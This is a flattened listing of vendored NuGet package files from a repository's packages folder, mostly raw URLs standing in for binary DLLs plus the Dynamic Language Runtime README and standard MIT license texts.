-------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/DynamicLanguageRuntime.1.3.0.nupkg -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/README.md: -------------------------------------------------------------------------------- 1 | Dynamic Language Runtime 2 | ======================== 3 | The Dynamic Language Runtime enables language developers to more easily create dynamic languages for the .NET platform. In addition to being a pluggable back-end for dynamic language compilers, the DLR provides language interop for dynamic operations on objects. The DLR has common hosting APIs for using dynamic languages as libraries or for scripting in your .NET applications. 4 | 5 | | **What?** | **Where?** | 6 | | --------: | :------------: | 7 | | **Windows/Linux/macOS Builds** | [![Build status](https://dotnet.visualstudio.com/IronLanguages/_apis/build/status/DLR)](https://dotnet.visualstudio.com/IronLanguages/_build/latest?definitionId=41) [![Github build status](https://github.com/IronLanguages/dlr/workflows/CI/badge.svg)](https://github.com/IronLanguages/dlr/actions?workflow=CI) | 8 | | **Downloads** | [![NuGet](https://img.shields.io/nuget/v/DynamicLanguageRuntime.svg)](https://www.nuget.org/packages/DynamicLanguageRuntime/) [![Release](https://img.shields.io/github/release/IronLanguages/dlr.svg)](https://github.com/IronLanguages/dlr/releases/latest)| 9 | | **Help** | [![Gitter chat](https://badges.gitter.im/IronLanguages/ironpython.svg)](https://gitter.im/IronLanguages/ironpython) [![StackExchange](https://img.shields.io/stackexchange/stackoverflow/t/dynamic-language-runtime.svg)](http://stackoverflow.com/questions/tagged/dynamic-language-runtime) | 10 | 11 | Code of Conduct 12 | --------------- 13 | This project has adopted the code of conduct defined by the Contributor Covenant to clarify expected behavior in our community. 14 | For more information see the [.NET Foundation Code of Conduct](https://dotnetfoundation.org/code-of-conduct). 15 | 16 | Installation 17 | ------------ 18 | The best way to install the DLR is through the NuGet DynamicLanguageRuntime package. 19 | 20 | Documentation 21 | ------------- 22 | The best current documentation is in the Docs/ directory, in Word and PDF format (it *was* a Microsoft project, after all). 23 | 24 | Help 25 | ---- 26 | If you have any questions, [open an issue](https://github.com/IronLanguages/dlr/issues/new), even if it's not an actual bug. The issues are an acceptable discussion forum as well. 27 | 28 | History 29 | ------- 30 | The original DLR site is at [CodePlex](http://dlr.codeplex.com). The DLR was part of a much larger repository containing IronPython and IronRuby as well; you can find it at the [main](https://github.com/IronLanguages/main) repository. This is a smaller repository containing just the DLR, which makes it easier to package and should make it easier to do more regular releases. 31 | 32 | Build 33 | ----- 34 | You will need to have Visual Studio 2019 16.4.0 or later installed on your machine. 35 | 36 | On Windows machines, start a Visual Studio command prompt and type: 37 | 38 | > make 39 | 40 | On Unix machines, make sure Mono is installed and in the PATH, and type: 41 | 42 | $ make 43 | 44 | Since the main development is on Windows, Mono bugs may inadvertantly be introduced 45 | - please report them! 46 | -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/net45/Microsoft.Dynamic.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/net45/Microsoft.Dynamic.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/net45/Microsoft.Scripting.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/net45/Microsoft.Scripting.Metadata.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/net45/Microsoft.Scripting.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/net45/Microsoft.Scripting.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp2.1/Microsoft.Dynamic.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp2.1/Microsoft.Dynamic.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp2.1/Microsoft.Scripting.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp2.1/Microsoft.Scripting.Metadata.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp2.1/Microsoft.Scripting.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp2.1/Microsoft.Scripting.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp3.1/Microsoft.Dynamic.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp3.1/Microsoft.Dynamic.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp3.1/Microsoft.Scripting.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp3.1/Microsoft.Scripting.Metadata.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp3.1/Microsoft.Scripting.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netcoreapp3.1/Microsoft.Scripting.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netstandard2.0/Microsoft.Dynamic.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netstandard2.0/Microsoft.Dynamic.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netstandard2.0/Microsoft.Scripting.Metadata.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netstandard2.0/Microsoft.Scripting.Metadata.dll -------------------------------------------------------------------------------- /packages/DynamicLanguageRuntime.1.3.0/lib/netstandard2.0/Microsoft.Scripting.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/DynamicLanguageRuntime.1.3.0/lib/netstandard2.0/Microsoft.Scripting.dll -------------------------------------------------------------------------------- /packages/Microsoft.Management.Infrastructure.4.0.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.Management.Infrastructure.4.0.0/.signature.p7s -------------------------------------------------------------------------------- /packages/Microsoft.Management.Infrastructure.4.0.0/Microsoft.Management.Infrastructure.4.0.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.Management.Infrastructure.4.0.0/Microsoft.Management.Infrastructure.4.0.0.nupkg -------------------------------------------------------------------------------- /packages/Microsoft.Management.Infrastructure.4.0.0/lib/Microsoft.Management.Infrastructure.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.Management.Infrastructure.4.0.0/lib/Microsoft.Management.Infrastructure.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/.signature.p7s -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0.nupkg -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.Management.Infrastructure.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.Management.Infrastructure.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Activities.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Activities.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Commands.Diagnostics.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Commands.Diagnostics.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.ConsoleHost.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.ConsoleHost.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Core.Activities.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Core.Activities.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Diagnostics.Activities.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Diagnostics.Activities.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Editor.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Editor.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.GPowerShell.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.GPowerShell.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.GraphicalHost.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.GraphicalHost.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.ISECommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.ISECommon.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Management.Activities.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Management.Activities.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.PSReadLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.PSReadLine.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.PackageManagement.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.PackageManagement.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Security.Activities.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Security.Activities.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Security.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Security.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Utility.Activities.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.PowerShell.Utility.Activities.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.Powershell.Workflow.ServiceCore.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/Microsoft.Powershell.Workflow.ServiceCore.dll -------------------------------------------------------------------------------- /packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/System.Management.Automation.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/Microsoft.PowerShell.5.ReferenceAssemblies.1.1.0/lib/net4/System.Management.Automation.dll -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/.signature.p7s -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/Icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/Icon.png -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/LICENSE.TXT: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) .NET Foundation and Contributors 4 | 5 | All rights reserved. 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all 15 | copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | SOFTWARE. 24 | -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/System.DirectoryServices.5.0.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/System.DirectoryServices.5.0.0.nupkg -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/lib/net45/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/lib/net45/_._ -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/lib/netstandard2.0/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/lib/netstandard2.0/System.DirectoryServices.dll -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/ref/net45/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/ref/net45/_._ -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/ref/netstandard2.0/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/ref/netstandard2.0/System.DirectoryServices.dll -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/runtimes/win/lib/net45/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/runtimes/win/lib/net45/_._ -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/runtimes/win/lib/netcoreapp2.0/System.DirectoryServices.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/runtimes/win/lib/netcoreapp2.0/System.DirectoryServices.dll -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/useSharedDesignerContext.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.DirectoryServices.5.0.0/useSharedDesignerContext.txt -------------------------------------------------------------------------------- /packages/System.DirectoryServices.5.0.0/version.txt: -------------------------------------------------------------------------------- 1 | cf258a14b70ad9069470a108f13765e0e5988f51 2 | -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/.signature.p7s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/.signature.p7s -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/LICENSE.TXT: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) .NET Foundation and Contributors 4 | 5 | All rights reserved. 6 | 7 | Permission is hereby granted, free of charge, to any person obtaining a copy 8 | of this software and associated documentation files (the "Software"), to deal 9 | in the Software without restriction, including without limitation the rights 10 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 11 | copies of the Software, and to permit persons to whom the Software is 12 | furnished to do so, subject to the following conditions: 13 | 14 | The above copyright notice and this permission notice shall be included in all 15 | copies or substantial portions of the Software. 16 | 17 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 22 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 23 | SOFTWARE. 24 | -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/System.ValueTuple.4.5.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/System.ValueTuple.4.5.0.nupkg -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/MonoAndroid10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/MonoAndroid10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/MonoTouch10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/MonoTouch10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/net461/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/net461/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/net47/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/net47/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/net47/System.ValueTuple.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | System.ValueTuple 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/netcoreapp2.0/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/netcoreapp2.0/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/netstandard1.0/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/netstandard1.0/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/netstandard2.0/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/netstandard2.0/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/portable-net40+sl4+win8+wp8/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/portable-net40+sl4+win8+wp8/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/uap10.0.16299/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/uap10.0.16299/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/xamarinios10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/xamarinios10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/xamarinmac20/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/xamarinmac20/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/xamarintvos10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/xamarintvos10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/lib/xamarinwatchos10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/lib/xamarinwatchos10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/MonoAndroid10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/MonoAndroid10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/MonoTouch10/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/MonoTouch10/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/net461/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/net461/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/net47/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/net47/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/netcoreapp2.0/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/netcoreapp2.0/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/netstandard2.0/_._: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/netstandard2.0/_._ -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/portable-net40+sl4+win8+wp8/System.ValueTuple.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cube0x0/SharpMapExec/465a8eedd4e94455b21c76d3d904a6090dcd48fd/packages/System.ValueTuple.4.5.0/ref/portable-net40+sl4+win8+wp8/System.ValueTuple.dll -------------------------------------------------------------------------------- /packages/System.ValueTuple.4.5.0/ref/uap10.0.16299/_._: -------------------------------------------------------------------------------- 